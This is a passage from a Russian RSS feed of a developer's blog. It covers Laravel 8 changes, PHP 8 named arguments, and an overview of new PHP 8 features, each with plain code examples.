});</code></pre><p>Кроме того, прослушиватели событий на основе замыкания теперь могут быть помечены как стоящие в очереди с помощью функции:Illuminate\Events\queueable</p><p><br></p><pre class="line-numbers"><code class="language-php">use App\Events\PodcastProcessed;
use function Illuminate\Events\queueable;
use Illuminate\Support\Facades\Event;

Event::listen(queueable(function (PodcastProcessed $event) {
    //
}));</code></pre><p>Как очереди заданий, вы можете использовать&nbsp;<span style="font-size: 1rem;">методы</span>&nbsp;onConnection, onQueue и delay , чтобы настроить выполнение очереди слушателя:</p><p><br></p><pre class="line-numbers"><code class="language-php">Event::listen(queueable(function (PodcastProcessed $event) {
    //
})-&gt;onConnection('redis')-&gt;onQueue('podcasts')-&gt;delay(now()-&gt;addSeconds(10)));</code></pre><p>Если вы хотите обрабатывать сбои анонимного прослушивателя в очереди, вы можете предоставить закрытие&nbsp;<span style="font-size: 1rem;">метода&nbsp;</span>catch при определении&nbsp;<span style="font-size: 1rem;">прослушивателя</span>&nbsp;queueable:</p><p><br></p><pre class="line-numbers"><code class="language-php">use App\Events\PodcastProcessed;
use function Illuminate\Events\queueable;
use Illuminate\Support\Facades\Event;
use Throwable;

Event::listen(queueable(function (PodcastProcessed $event) {
    //
})-&gt;catch(function (PodcastProcessed $event, Throwable $e) {
    // The queued listener failed...
}));</code></pre><h2>Улучшение artisan serve</h2><p>В&nbsp;<span style="font-size: 1rem;">команду Artisan</span>&nbsp;serve добавлена ​​автоматическая перезагрузка при обнаружении изменений переменных среды в вашем локальном .env файле. Раньше команду приходилось останавливать и перезапускать вручную.</p><h2>Обновления пространства имен маршрутизации</h2><p>В предыдущих выпусках Laravel объект RouteServiceProvider содержал&nbsp;<span style="font-size: 1rem;">свойство&nbsp;</span>$namespace. Значение этого свойства будет автоматически добавляться к определениям маршрута контроллера и вызовам action вспомогательного метода. В Laravel 8.x это свойство по умолчанию. Это означает, что Laravel не будет выполнять автоматический префикс пространства имен. Следовательно, в новых приложениях Laravel 8.x определения маршрутов контроллера должны быть определены с использованием стандартного синтаксиса вызываемого PHP:URL::action null</p><p><br></p><pre class="line-numbers"><code class="language-php">use App\Http\Controllers\UserController;

Route::get('/users', [UserController::class, 'index']);</code></pre><p>Вызов action связанных методов должен использовать тот же синтаксис вызова:</p><p><br></p><pre class="line-numbers"><code class="language-php">action([UserController::class, 'index']);

return Redirect::action([UserController::class, 'index']);</code></pre><p>Если вы предпочитаете префикс маршрута контроллера в стиле Laravel 7.x, вы можете просто добавить&nbsp;<span style="font-size: 1rem;">свойство</span>&nbsp;$namespace в свое приложение RouteServiceProvider.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/34</guid>
                <pubDate>2020-09-08T08:13:00+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8: Именованные аргументы]]></title>
                <link>https://sergeymukhin.com/blog/php-8-imenovannye-argumenty</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8: Именованные аргументы</h1><blockquote>Именованные аргументы, также называемые именованными параметрами, получат поддержку в PHP 8. В этом посте я расскажу об их плюсах и минусах.</blockquote><p>Но позвольте сначала спросить бывали ли вы когда-нибудь в ситуации, когда вы видели функцию и ее параметры и задавались вопросом, что это за параметры? Я почти уверен, что это было и не раз, например, возьмем следующее:</p><p><br></p><pre class="line-numbers"><code class="language-php">array_slice($array, $offset, $length, true);</code></pre><p>Первые три параметра, переданные в array_slice , кажутся очевидными из-за информативных имен переменных, но как насчет четвертого параметра? Это просто true. Но что здесь означает это true? Что ж, чтобы это узнать, вам нужно перейти к определению функции или обратиться к документации. В случае array_sliceс определением будет:</p><p><br></p><pre class="line-numbers"><code class="language-php">function array_slice(
    array $array,
    $offset,
    $length = null,
    $preserve_keys = false
) { }</code></pre><p>Итак, четвертый параметр - $preserve_keys это то, что вы можете определить, только взглянув на определение. И больше у вас ничего нет, что может подсказать, просто взглянув на объявление функции. </p><p>А что если мы перепишем данный пример вот так:</p><p><br></p><pre class="line-numbers"><code class="language-php">array_slice($array, $offset, $length, preserve_keys: true);</code></pre><p>Как видите, код теперь довольно самодокументируется по сравнению с предыдущим примером. Теперь мы знаем, для чего предназначен четвертый параметр. Или возьмем встроенную функции PHP по созданию кук:</p><p><br></p><pre class="line-numbers"><code class="language-php">setcookie(
    name: 'week',
    expires: time() + 60 * 60 * 24 * 14,
);</code></pre><p>А это,&nbsp;DTO, использующий продвигаемые свойства , а также именованные аргументы:</p><p><br></p><pre class="line-numbers"><code class="language-php">class CustomerData
{
    public function __construct(
        public string $name,
        public string $email,
        public int $age,
    ) {}
}

$data = new CustomerData(
    name: $input['name'],
    email: $input['email'],
    age: $input['age'],
);</code></pre><p>Именованные аргументы также поддерживают распаковку массива:</p><p><br></p><pre class="line-numbers"><code class="language-php">$data = new CustomerData(...$customerRequest-&gt;validated());</code></pre><p>Как вы уже догадались,&nbsp;именованные аргументы позволяют передавать входные данные в функцию на основе имени аргумента, а не его порядка.&nbsp;</p><p><a href="https://wiki.php.net/rfc/named_params" target="_blank">RFC</a> был первоначально предложен Никитой Поповым, который работает над редактором PHP в компании по разработке инструментов JetBrains. Как он выразился в недавнем <a href="https://derickrethans.nl/phpinternalsnews-59.html" target="_blank">подкасте</a>: «Если у вас есть метод, например, с тремя логическими аргументами, это действительно выглядит ужасно, потому что вы называете его так: «true »,«true»,«false», например, что это означает? Если вы указали параметры и у вас есть те же три логических аргумента, тогда это больше не проблема».</p><h2>Почему именованные аргументы?</h2><p>Эта функция была очень обсуждаемой, и было несколько контраргументов против ее добавления. Тем не менее, я бы сказал, что их преимущества намного перевешивают страх перед проблемами обратной совместимости или раздутыми API. На мой взгляд, они позволят нам писать более чистый и гибкий код.</p><p>Во-первых, именованные аргументы позволяют пропускать значения по умолчанию. Взглянем еще раз на пример c созданием cookie:</p><p><br></p><pre class="line-numbers"><code class="language-php">setcookie(
    name: 'week',
    expires: time() + 60 * 60 * 24 *14,
);</code></pre><p>Сигнатура его метода на самом деле достаточно большая и выглядит так:</p><p><br></p><pre class="line-numbers"><code class="language-php">setcookie ( 
    string $name, 
    string $value = "", 
    int $expires = 0, 
    string $path = "", 
    string $domain = "", 
    bool $secure = false, 
    bool $httponly = false,
) : bool</code></pre><p>В показанном мной примере нам не нужно было устанавливать значение $value, но нам обязательно нужно установить время истечения куки. Именованные аргументы сделали вызов этого метода более лаконичным, итак вот это:</p><p><br></p><pre class="line-numbers"><code class="language-php">setcookie(
    'week',
    '',
    time() + 60 * 60 * 24 *14,
);</code></pre><p>против</p><p><br></p><pre class="line-numbers"><code class="language-php">setcookie(
    name: 'week',<br>    expires: time() + 60 * 60 * 24 *14,<br>);</code></pre><p>Помимо пропуска аргументов со значениями по умолчанию, есть также преимущество ясности в отношении того, какая переменная что делает; то, что особенно полезно в функциях с большими сигнатурами. Теперь можно сказать, что множество аргументов - это плохой стиль кода; но нам по-прежнему приходится иметь с этим дело, несмотря ни на что, поэтому лучше иметь разумный способ сделать это, чем вообще ничего.</p><h2>Подробнее об именованных аргументов</h2><p>Разобравшись с основами, давайте посмотрим, что могут и чего не могут делать именованные аргументы.</p><p>Прежде всего, именованные аргументы можно комбинировать с безымянными - также называемыми упорядоченными аргументами. В этом случае упорядоченные аргументы всегда должны быть на первом месте.</p><p>Посмотрим на наш предыдущий пример DTO:</p><p><br></p><pre class="line-numbers"><code class="language-php">class CustomerData
{
    public function __construct(
        public string $name,
        public string $email,
        public int $age,
    ) {}
}</code></pre><p>Вы можете построить его так:</p><p><br></p><pre class="line-numbers"><code class="language-php">$data = new CustomerData(
    $input['name'],
    age: $input['age'],
    email: $input['email'],
);</code></pre><p>Однако наличие упорядоченного аргумента после именованного приведет к ошибке:</p><p><br></p><pre class="line-numbers"><code class="language-php">$data = new CustomerData(
    age: $input['age'],
    <span style="color: rgb(255, 0, 0);">$input['name'],</span>
    email: $input['email'],
);</code></pre><p>Затем можно использовать распакову массива в сочетании с именованными аргументами:</p><p><br></p><pre class="line-numbers"><code class="language-php">$input = [
    'age' =&gt; 33,
    'name' =&gt; 'Sergey',<br>    'email' =&gt; 'sinbadxiii@gmail.com',<br>];

$data = new CustomerData(...$input);</code></pre><p>Однако, если отсутствуют необходимые записи в массиве, или если есть ключ, который не указан в качестве именованного аргумента, будет сгенерировано сообщение об ошибке:</p><p><br></p><pre class="line-numbers"><code class="language-php">$input = [
    'age' =&gt; 33,
    'name' =&gt; 'Sergey',
    'email' =&gt; 'sinbadxiii@gmail.com',
    <span style="color: rgb(255, 0, 0);">'unknownProperty' =&gt; 'This is not allowed',</span>
];

$data = new CustomerData(...$input);</code></pre><p>Это является возможным объединить названные и упорядоченные аргументы во входном массиве, но только если упорядоченные аргументы следуют тому же правилу, как и прежде: они должны прийти первыми.</p><p><br></p><pre class="line-numbers"><code class="language-php">$input = [
    'Sergey',<br>    'age' =&gt; 33,
    'email' =&gt; 'sinbadxiii@gmail.com',<br>];

$data = new CustomerData(...$input);</code></pre><p>Если вы используете функции с переменным числом аргументов, именованные аргументы будут переданы вместе с именем ключа в массив с переменными аргументами. Возьмем следующий пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">class CustomerData
{
    public static function new(...$args): self
    {
        return new self(...$args);
    }

    public function __construct(
        public string $name,
        public string $email,
        public int $age,
    ) {}
}

$data = CustomerData::new(
    email: 'sinbadxiii@gmail.com',<br>    age: 33,
    name: 'Sergey',
);</code></pre><p>В этом случае массив $args будет содержать следующие данные: CustomerData::new</p><p><br></p><pre class="line-numbers"><code class="language-php">[
    'age' =&gt; 33,
    'email' =&gt; 'sinbadxiii@gmail.com',<br>    'name' =&gt; 'Sergey',
]</code></pre><p><a href="https://sergeymukhin.com/blog/atributy-v-php-8" target="_blank">Атрибуты</a>, также известные как аннотации, тоже поддерживают именованные аргументы:</p><p><br></p><pre class="line-numbers"><code class="language-php">class ProductSubscriber
{
    @@ListensTo(event: ProductCreated::class)
    public function onProductCreated(ProductCreated $event) { /* … */ }
}</code></pre><p>Невозможно использовать переменную в качестве имени аргумента:</p><p><br></p><pre class="line-numbers"><code class="language-php">$field = 'age';

$data = CustomerData::new(
   <span style="color: rgb(255, 0, 0);"> $field: 33,</span>
);</code></pre><p>И, наконец, именованные аргументы прагматично будут иметь дело с изменениями имени во время наследования. Вот пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">interface EventListener {
    public function on($event, $handler);
}

class MyListener implements EventListener
{
    public function on($myEvent, $myHandler)
    {
        // …
    }
}</code></pre><p>PHP автоматически разрешит изменение имени $event на $myEvent и $handler на $myHandler; но если вы решите использовать именованные аргументы, используя имя родителя, это приведет к ошибке выполнения:</p><p><br></p><pre class="line-numbers"><code class="language-php">public function register(EventListener $listener)
{
    $listener-&gt;on(
        <span style="color: rgb(255, 0, 0);">event</span>: $this-&gt;event,
        <span style="color: rgb(255, 0, 0);">handler</span>: $this-&gt;handler, 
    );
}</code></pre><p>Этот прагматический подход был выбран для предотвращения серьезных критических изменений, когда все унаследованные аргументы должны были бы иметь одно и то же имя. Мне кажется, это хорошее решение.</p><p>Ну что же,&nbsp;PHP присоединился к длинному списку языков, в которых уже есть эта функция, включая C#, Kotlin, PowerShell, Python, Ruby, Swift и Visual Basic. Однако те же Java и JavaScript пока его не поддерживают.</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/38</guid>
                <pubDate>2020-08-31T06:05:00+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в PHP 8]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-php-8</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Что нового в PHP 8</h1><blockquote>PHP 8 - следующая мажорная версия, примерная дата релиза конец 2020 года.</blockquote><p>Итак,&nbsp;<a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a>&nbsp;вышел и должен закончить эпохальную ветку седьмой версии. Столько много всего интересного было в ней реализовано, но разработчики PHP не стоят на месте и уже готовят 8 версию, которая будет содержать в себе много грандиозных вещей, о которых я и буду вас уведомлять по мере одобрения RFC или пулл-реквестов.&nbsp;&nbsp;</p><p><br></p><p>PHP 8 - новая основная версия PHP, как ожидается, выйдет <a href="https://wiki.php.net/todo/php80" target="_blank">26 ноября 2020 года</a>. Так как PHP 8 все еще находится в активной разработке, то список новых функций, со временем, будет расти и меняться,&nbsp;его первая альфа ожидается 18 июня 2020 года.<br></p><h2>JIT</h2><p>Появление JIT как раз во время. Компилятор обещает значительные улучшения производительности, хотя и не всегда это будет в контексте веба. На данный момент не было сделано никаких точных ориентиров, но они обязательно появятся. Что такое JIT&nbsp; и для чего он будет нужен, можно&nbsp;<a href="https://sergeymukhin.com/blog/php-jit" target="_blank">почитать здесь</a></p><h2>Union Types 2.0 (Объединенные типы)</h2><p>«Объединенные типы» принимают значения нескольких разных типов, а не одного. PHP уже поддерживает два специальных типа объединения:</p><p>Type или null, используя специальный&nbsp;<span style="font-size: 1rem;">синтаксис "</span>?Type"</p><p>array или Traversable, используя специальный&nbsp;<span style="font-size: 1rem;">тип&nbsp;</span>iterable.</p><p>Однако произвольные объединенные типы в настоящее время не поддерживаются языком. Вместо этого необходимо использовать аннотации phpdoc, например, в следующем примере:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">class Number {
    /**
     * @var int|float $number
     */
    private $number;
 
    /**
     * @param int|float $number
     */
    public function setNumber($number) {
        $this-&gt;number = $number;
    }
 
    /**
     * @return int|float
     */
    public function getNumber() {
        return $this-&gt;number;
    }
}</code></pre><p>Объединенные типы указываются с использованием синтаксиса T1|T2|… и могут использоваться во всех позициях, где типы в настоящее время принимаются:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">class Number {
    private int|float $number;
 
    public function setNumber(int|float $number): void {
        $this-&gt;number = $number;
    }
 
    public function getNumber(): int|float {
        return $this-&gt;number;
    }
}</code></pre><p>Обратите внимание, что тип void не может быть частью типа объединения, так как он означает «вообще ничего-возвращаемого значения». Кроме того, nullable союзы могут быть написаны с использованием |null или с использованием существующей ? записи:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">public function foo(Foo|null $foo): void;

public function bar(?Bar $bar): void;</code></pre><h2>Оператор nullsafe <a href="https://wiki.php.net/rfc/nullsafe_operator" target="_blank">rfc</a></h2><p>Если вы знакомы с оператором объединения c нулевым значением ( ?? ), думаю, что вы уже знакомы с его недостатками: он не работает с вызовами методов. Вместо этого вам нужны будут промежуточные проверки или надо будет полагаться на опциональных помощников, предоставляемых некоторыми фреймворками:</p><p><br></p><pre class="line-numbers"><code class="language-html">$startDate = $dateAsString = $booking-&gt;getStartDate();

$dateAsString = $startDate ? $startDate-&gt;asDateTimeString() : null;</code></pre><p>С добавлением оператора nullsafe мы теперь можем иметь поведение методов, подобное слиянию null!</p><p><br></p><pre class="line-numbers"><code class="language-html">$dateAsString = $booking-&gt;getStartDate()?-&gt;asDateTimeString();</code></pre><h2>Именованные аргументы <a href="https://wiki.php.net/rfc/named_params" target="_blank">rfc</a></h2><p><a href="https://sergeymukhin.com/blog/php-8-imenovannye-argumenty" target="_blank">Именованные аргументы</a> позволяют передавать значения в функцию, указывая имя значения, так что вам не нужно учитывать их порядок, а также вы можете пропустить необязательные параметры:</p><p><br></p><pre class="line-numbers"><code class="language-html">// Использование позиции аргументов:
array_fill(0, 100, 50);

// Использование наименований аргументов:
array_fill(start_index: 0, num: 100, value: 50);</code></pre><p>Можно комбинировать именованные аргументы с обычными позиционными аргументами, а также можно указать только некоторые из необязательных аргументов функции, независимо от их порядка:</p><p><br></p><pre class="line-numbers"><code class="language-html">htmlspecialchars($string, double_encode: false);
//то же самое что и
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'UTF-8', false);</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Аттрибуты</span><br></p><p>Атрибуты, обычно известные&nbsp;<span style="font-size: 1rem;">в других языках,</span>&nbsp;как аннотации или декораторы, предлагают способ добавлять метаданные в классы, без распарсивания докблоков. Широкое использование парсинга комментариев к документам пользователя показывает, что это очень востребованная функция сообщества.&nbsp;Атрибуты представляют собой специально отформатированный текст, заключенный в «&lt;&lt;» и «&gt;&gt;» путем повторного использования существующих токенов T_SL и T_SR.</p><p>Атрибуты могут применяться ко многим вещам в языке:</p><ul><li>функции (включая замыкания и короткие замыкания)</li><li>классы (включая анонимные классы), интерфейсы, трейты</li><li>константы класса</li><li>свойства класса</li><li>методы класса</li><li>параметры функции/метода</li></ul><p>Вот пока примерный взгляд из RFC:</p><p><br></p><pre class="line-numbers"><code class="language-php">use App\Attributes\ExampleAttribute;

&lt;&lt;ExampleAttribute&gt;&gt;
class Foo
{
    &lt;&lt;ExampleAttribute&gt;&gt;
    public const FOO = 'foo';
 
    &lt;&lt;ExampleAttribute&gt;&gt;
    public $x;
 
    &lt;&lt;ExampleAttribute&gt;&gt;
    public function foo(&lt;&lt;ExampleAttribute&gt;&gt; $bar) { }
}</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">&lt;&lt;PhpAttribute&gt;&gt;
class ExampleAttribute
{
    public $value;
 
    public function __construct($value)
    {
        $this-&gt;value = $value;
    }
}</code></pre><p>Обратите внимание, что эта база Attribute вызывалась PhpAttributeв исходном RFC, но впоследствии была заменена другим RFC . Если вы хотите больше узнать как работают атрибуты, и как вы можете создать свой собственный, то можете прочитать об атрибутах в этом посте<a href="https://sergeymukhin.com/blog/atributy-v-php-8" target="_blank"> Атрибуты в PHP 8</a>.&nbsp;</p><h2>Выражение соответствия v2</h2><p>Это можно было бы назвать старшим братом&nbsp;<span style="font-size: 1rem;">switch&nbsp;</span>выражения: match может возвращать значения, не требует break операторов, может комбинировать условия, использует строгие сравнения типов и не выполняет никаких типов принуждения.</p><p>Вместо этого</p><p><br></p><pre class="line-numbers"><code class="language-php">switch (1) {
    case 0:
        $result = 'Foo';
        break;
    case 1:
        $result = 'Bar';
        break;
    case 2:
        $result = 'Baz';
        break;
}
 
echo $result;</code></pre><p>Можно писать так:</p><p><br></p><pre class="line-numbers"><code class="language-php">echo match (1) {
    0 =&gt; 'Foo',
    1 =&gt; 'Bar',
    2 =&gt; 'Baz',
};</code></pre><p>Несколько условий могут быть разделены запятыми для выполнения одного и того же блока кода.</p><p><br></p><pre class="line-numbers"><code class="language-php">$result = match($input) {
    0 =&gt; "Какой-то Вывод",
    '1', '2', '3' =&gt; "Вывод условий 1,2,3",
};</code></pre><p><br></p><h2>Объявление свойств в конструкторе <a href="https://wiki.php.net/rfc/constructor_promotion" target="_blank">RFC</a></h2><p>В настоящее время определение простых объектов значений требует большого количества шаблонов, поскольку все свойства должны повторяться как минимум четыре раза. Рассмотрим следующий простой класс:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Point {
    public float $x;
    public float $y;
    public float $z;
 
    public function __construct(
        float $x = 0.0,
        float $y = 0.0,
        float $z = 0.0,
    ) {
        $this-&gt;x = $x;
        $this-&gt;y = $y;
        $this-&gt;z = $z;
    }
}</code></pre><p>Свойства повторяются 1) в объявлении свойства, 2) в параметрах конструктора и 3) два раза в назначении свойства. Кроме того, тип свойств так же повторяется дважды.<br></p><p>Этот RFC добавляет синтаксический сахар для создания объектов значений или объектов передачи данных. Вместо указания свойств класса и конструктора для них PHP теперь может объединять их в одно. В результате код сокращается до:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Point { 
    public  function __construct ( 
        public float $x  =  0.0 , 
        public float $y  =  0.0 , 
        public float $z  =  0.0 , 
    )  { } 
}</code></pre><p><br></p><p>Или еще пример, вместо этого:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">class Money 
{
    public Currency $currency;
 
    public int $amount;
 
    public function __construct(
        Currency $currency,
        int $amount,
    ) {
        $this-&gt;currency = $currency;
        $this-&gt;amount = $amount;
    }
}</code></pre><p>Теперь вы можете сделать это:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Money 
{
    public function __construct(
        public Currency $currency,
        public int $amount,
    ) {}
}</code></pre><p>Этот сокращенный код строго эквивалентен предыдущему примеру, но более лаконичен. Выбор синтаксиса взят из родственного языка <a href="https://docs.hhvm.com/hack/classes/constructors#constructor-parameter-promotion" target="_blank">Hack</a>. Более подробно можно почитать в посте <a href="https://sergeymukhin.com/blog/php-8-prodvizenie-svoistv-konstruktora" target="_blank">объявление свойств в конструкторе</a>.<br></p><h2>Новый тип возврата static</h2><p>Хотя возвращение уже было возможно self, но до<span style="font-size: 1rem;">&nbsp;PHP 8 он не был допустимым типом возврата static</span>&nbsp;. Учитывая динамически типизированный характер PHP, эта функция будет полезна для многих разработчиков.</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">class Foo
{
    public function method(): static
    {
        return new static();
    }
}</code></pre><h2>Новый тип mixed v2</h2><p>С добавлением скалярных типов в PHP 7, обнуляемых в 7.1, объектов в 7.2 и, наконец, типов объединения в 8.0, люди, пишущие код PHP, могут явно объявлять информацию о типах для большинства параметров функции, возвращаемых функций, а также свойств класса.&nbsp;Однако в PHP не всегда поддерживаются типы, и, скорее всего, он всегда будет позволять опускать информацию о типах. Но это приводит к проблеме того, что ее значение неоднозначно, когда отсутствует информация о типе:<br></p><ul><li>Функция не возвращает ничего или null</li><li>Мы ожидаем один из нескольких типов</li><li>Мы ожидаем, тип, который не может быть подсказан в PHP</li></ul><p>Из-за причин, приведенных выше, хорошо, что тип&nbsp;<span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">mixed был наконец&nbsp;</span>добавлен,&nbsp;Сам по себе&nbsp;mixed означает один из этих типов:</p><ul><li>array</li><li>bool</li><li>callable</li><li>int</li><li>float</li><li>null</li><li>object</li><li>resource</li><li>string</li></ul><p>Обратите внимание, что mixed также может использоваться как параметр или тип свойства, а не только как тип возвращаемого значения.&nbsp;Также обратите внимание, что, поскольку mixed уже включает в себя null, это не может сделать его обнуляемым. Следующее вызовет ошибку:</p><p><br></p><pre class="line-numbers"><code class="language-html">// Fatal error: Mixed types cannot be nullable, null is already part of the mixed type.
function bar(): ?mixed {}</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Throw выражения</span><br></p><p>Поскольку в PHP&nbsp;<span style="font-size: 1rem;">оператор&nbsp;</span>throw не может создавать исключения в тех местах, где разрешены только выражения, такие как функции стрелок, оператор объединения и тернарный оператор. Этот RFC предлагает преобразовать&nbsp;<span style="font-size: 1rem;">утверждение&nbsp;</span>throw в выражение, чтобы эти случаи стали возможными.</p><p><br></p><pre class="line-numbers"><code class="language-php">// This was previously not possible since arrow functions only accept a single expression while throw was a statement.
$callable = fn() =&gt; throw new Exception();
 
// $value is non-nullable.
$value = $nullableValue ?? throw new InvalidArgumentException();
 
// $value is truthy.
$value = $falsableValue ?: throw new InvalidArgumentException();
 
// $value is only set if the array is not empty.
$value = !empty($array)
    ? reset($array)
    : throw new InvalidArgumentException();</code></pre><p>Есть и другие места, где он может быть использован, которые являются более спорными. Эти случаи разрешены в данном RFC</p><pre class="line-numbers"><code class="language-php">$condition &amp;&amp; throw new Exception();
$condition || throw new Exception();
$condition and throw new Exception();
$condition or throw new Exception();</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><h2>Наследование приватных методов</h2><p>Раньше PHP применял одинаковые проверки наследования для публичных, защищенных и приватных методов. Другими словами: private методы должны следовать тем же правилам подписи метода, что и protected и public методы. Это не имеет смысла, так как private методы не будут доступны дочерним классам.</p><p>Этот RFC изменил данное поведение, так что эти проверки наследования больше не выполняются для приватных методов. Кроме того, использование final private function также не имело смысла, поэтому теперь это вызовет предупреждение:</p><p><br></p><pre class="line-numbers"><code class="language-php">Warning: Private methods cannot be final as they are never overridden by other classes</code></pre><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Weak maps (Слабые карты)</span><br></p><p>Построенный на&nbsp;<a href="https://wiki.php.net/rfc/weakrefs" target="_blank">RFC слабых ссылок</a>, который был добавлен в PHP 7.4, В&nbsp;<span style="font-size: 1rem;"><a href="https://sergeymukhin.com/blog/php-8-weakmaps-slabye-karty" target="_blank">PHP 8&nbsp;</a></span><a href="https://sergeymukhin.com/blog/php-8-weakmaps-slabye-karty" target="_blank">WeakMap</a>&nbsp; добавляет ​​реализацию, в которой хранятся ссылки на объекты, которые не препятствуют сборке мусора этими объектами.</p><p>Возьмем для примера ORM, они часто реализуют кэши, которые содержат ссылки на классы сущностей, чтобы улучшить производительность отношений между сущностями. Эти объекты сущности нельзя собирать, пока кеш имеет ссылку на них, даже если кеш является единственной ссылкой на них.</p><p>Если этот слой кэширования использует слабые ссылки и карты вместо этого, PHP будет собирать эти объекты мусором, когда ничто больше не ссылается на них. Особенно в случае ORM, которые могут управлять несколькими сотнями, если не тысячами объектов в запросе; слабые карты могут предложить лучший, более дружественный к ресурсам способ работы с этими объектами.</p><p>Вот как выглядят слабые карты, пример из RFC:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">class Foo 
{
    private WeakMap $cache;
 
    public function getSomethingWithCaching(object $obj): object
    {
        return $this-&gt;cache[$obj]
           ??= $this-&gt;computeSomethingExpensive($obj);
    }
}</code></pre><h2>Использование ::class на объектах</h2><p>Небольшая, но полезная новая функция: теперь можно использовать ::class на объектах, результат будет идентичен get_class():</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">//раньше
$bar = new Foo();
echo Foo::class;
//или
echo get_class($bar);
//'Foo'

//теперь можно будет так
$foo = new Foo();
echo $foo::class;
//'Foo'</code></pre><h2>Неподхваченные уловы</h2><p>Всякий раз, когда вы хотели перехватить исключение до PHP 8, вы должны были сохранить его в переменной независимо от того, использовали ли вы эту переменную или нет. При отсутствии захвата вы можете пропустить переменную, поэтому вместо этого:</p><p><br></p><pre class="line-numbers"><code class="language-php">try {
    //Что-то идет не так
} catch (MySpecialException $exception) {
    Log::error("Что-то пошло не так");
}</code></pre><p>Теперь вы можете сделать это:</p><p><br></p><pre class="line-numbers"><code class="language-php">try {
    // Что-то идет не так
} catch (MySpecialException) {
    Log::error("Что-то пошло не так");
}</code></pre><p>Обратите внимание, что необходимо всегда указывать тип, вы не можете иметь пустой catch. Если вы хотите перехватить все исключения и ошибки, вы можете использовать их Throwable как тип перехвата .<br></p><h2>Завершающая запятая в списках параметров</h2><p>При вызове функции, в списках параметров все еще отсутствовала поддержка запятой. Теперь это разрешено в PHP 8, что означает, что вы можете делать следующее:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">public function(
    string $parameterA,
    int $parameterB,
    Foo $objectfoo,
) {
    // …
}</code></pre><h2>Создать DateTime объекты из интерфейса</h2><p>Вы уже можете создать DateTime объект из DateTimeImmutable объекта, используя DateTime::createFromImmutable($immutableDateTime), но наоборот было сложно. Добавление DateTime::createFromInterface() и DatetimeImmutable::createFromInterface() теперь позволяет получить обобщенный способ конвертировать DateTime и DateTimeImmutable объекты друг в друга.<br></p><p><br></p><pre class="line-numbers"><code class="language-php">DateTime::createFromInterface(DateTimeInterface $other);

DateTimeImmutable::createFromInterface(DateTimeInterface $other);</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Новый Stringable интерфейс</span><br></p><p>Появится новый&nbsp;<span style="font-size: 1rem;">интерфейс</span>&nbsp;Stringable, который автоматически добавляется в классы, которые реализуют магический метод __toString(),&nbsp;и нет необходимости&nbsp;<span style="font-size: 1rem;">реализовывать его&nbsp;</span>вручную.&nbsp;</p><p>У данного RFC две цели:</p><ul><li>разрешить использовать, string|Stringable чтобы выразить string|object-with-__toString()</li><li>предоставить прямой путь обновления с PHP 7 до 8</li></ul><pre class="line-numbers"><code class="language-php">class Foo
{
    public function __toString(): string
    {
        return 'foo';
    }
}

function bar(Stringable $stringable) { /* … */ }

bar(new Foo());
bar('abc');</code></pre><h2>Новая функция str_contains()<br></h2><p>str_contains проверяет, содержится ли строка в другой строке, и возвращает логическое значение (true/false), независимо от того, была ли найдена строка.&nbsp;Некоторые могут сказать, что это давно пора, и нам, наконец, больше не нужно полагаться на strpos, чтобы узнать, содержит ли строка другую строку.</p><p>Вместо этого:</p><p><br></p><pre class="line-numbers"><code class="language-php">if (strpos('string with lots of words', 'words') !== false) { /* … */ }</code></pre><p>Теперь вы можете сделать это<br></p><p><br></p><pre class="line-numbers"><code class="language-php">if (str_contains('string with lots of words', 'words')) { /* … */ }</code></pre><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Новые функции str_starts_with() и str_ends_with()</span><br></p><p>Две другие давно ожидаемые функции так же добавлены в ядро. str_starts_with() проверяет, начинается ли строка с другой строки, и возвращает логическое значение (true/false).</p><p>str_ends_with() логично проверяет, заканчивается ли строка другой строкой, и возвращает логическое значение (true/false).&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">str_starts_with('haystack', 'hay'); // true
